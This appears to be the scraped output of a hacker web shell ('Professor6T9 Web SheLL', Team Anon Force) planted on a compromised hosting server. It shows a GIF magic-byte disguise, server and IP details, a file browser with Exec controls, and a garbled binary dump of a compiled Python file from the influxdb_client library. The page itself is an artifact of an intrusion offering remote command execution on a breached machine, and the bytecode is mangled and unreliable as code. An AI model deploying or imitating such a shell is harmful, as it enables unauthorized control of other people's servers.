GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux das102.truehost.cloud 4.18.0-553.8.1.lve.el8.x86_64 #1 SMP Thu Jul 4 16:24:39 UTC 2024 x86_64
LiteSpeed
156.232.88.2
/
opt
/
alt
/
python38
/
lib
/
python3.8
/
site-packages
/
influxdb_client
/
domain
/
__pycache__
[ HOME ]
Exec
Submit
telegram_notification_endpoint.cpython-38.pyc
U ܒiy � @ s4 d Z ddlZddlZddlmZ G dd� de�ZdS )a InfluxDB OSS API Service. The InfluxDB v2 API provides a programmatic interface for all interactions with InfluxDB. Access the InfluxDB API using the `/api/v2/` endpoint. # noqa: E501 OpenAPI spec version: 2.0.0 Generated by: https://openapi-generator.tech � N)�!NotificationEndpointDiscriminatorc @ s� e Zd ZdZdddddddddddddd� Zdd d ddd dddddddd� Zd*dd�Zedd� �Zej dd� �Zedd� �Z e j dd� �Z d d!� Zd"d#� Zd$d%� Z d&d'� Zd(d)� ZdS )+�TelegramNotificationEndpointz�NOTE: This class is auto generated by OpenAPI Generator. Ref: https://openapi-generator.tech Do not edit the class manually. �str�datetimezlist[Label]ZNotificationEndpointBaseLinksZNotificationEndpointType) �token�channel�id�org_id�user_id� created_at� updated_at�description�name�status�labels�links�typer r r ZorgIDZuserIDZ createdAtZ updatedAtr r r r r r N�active�telegramc C sD t j| ||||||| | ||| d� d| _d| _d| _|| _|| _dS )z:TelegramNotificationEndpoint - a model defined in OpenAPI.)r r r r r r r r r r r N)r �__init__�_token�_channelZ discriminatorr r )�selfr r r r r r r r r r r r r � r �f/opt/alt/python38/lib/python3.8/site-packages/influxdb_client/domain/telegram_notification_endpoint.pyr B s "z%TelegramNotificationEndpoint.__init__c C s | j S )z�Get the token of this TelegramNotificationEndpoint. Specifies the Telegram bot token. See https://core.telegram.org/bots#creating-a-new-bot . :return: The token of this TelegramNotificationEndpoint. :rtype: str )r �r r r r r M s z"TelegramNotificationEndpoint.tokenc C s |dkrt d��|| _dS )z�Set the token of this TelegramNotificationEndpoint. Specifies the Telegram bot token. See https://core.telegram.org/bots#creating-a-new-bot . :param token: The token of this TelegramNotificationEndpoint. :type: str Nz-Invalid value for `token`, must not be `None`)� ValueErrorr )r r r r r r X s c C s | j S )z�Get the channel of this TelegramNotificationEndpoint. The ID of the telegram channel; a chat_id in https://core.telegram.org/bots/api#sendmessage . :return: The channel of this TelegramNotificationEndpoint. :rtype: str )r r r r r r e s z$TelegramNotificationEndpoint.channelc C s |dkrt d��|| _dS )a Set the channel of this TelegramNotificationEndpoint. The ID of the telegram channel; a chat_id in https://core.telegram.org/bots/api#sendmessage . :param channel: The channel of this TelegramNotificationEndpoint. :type: str Nz/Invalid value for `channel`, must not be `None`)r r )r r r r r r p s c C s� i }| j �� D ]z\}}t| |�}t|t�rBttdd� |��||<